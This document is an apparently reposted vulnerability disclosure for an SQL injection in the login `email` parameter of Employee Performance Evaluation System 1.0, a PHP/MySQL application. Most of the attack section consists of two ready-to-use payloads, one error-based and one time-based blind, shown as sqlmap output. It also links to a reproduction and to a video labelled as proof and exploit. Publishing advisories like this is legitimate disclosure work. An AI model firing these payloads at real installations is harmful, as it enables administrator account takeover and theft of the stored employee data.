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Employee Performance Evaluation System 1.0 SQL Injection

CVE Category Price Severity
CWE-89 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2022-03-13
CVSS
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022030058

Below is a copy:

Employee Performance Evaluation System 1.0 SQL Injection
## Title: Employee Performance Evaluation v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.11.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/14617/employee-performance-evaluation-system-phpmysqli-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Employee-Performance-Evaluation

## Description:
The `email` parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the email parameter, and a database
error message was returned.
Two single quotes were then submitted and the error message
disappeared. You should review the contents of the error message, and
the application's handling of other input, to confirm whether a
vulnerability is present.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: email (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: [email protected]' AND (SELECT 6536
FROM(SELECT COUNT(*),CONCAT(0x71786a7071,(SELECT
(ELT(6536=6536,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
iQpA&password=hacked&login=0

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]' AND (SELECT 2365 FROM
(SELECT(SLEEP(5)))lFkz)-- xqup&password=hacked&login=0
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Employee-Performance-Evaluation)

## Proof and Exploit:
[href](https://streamable.com/9q1tni)


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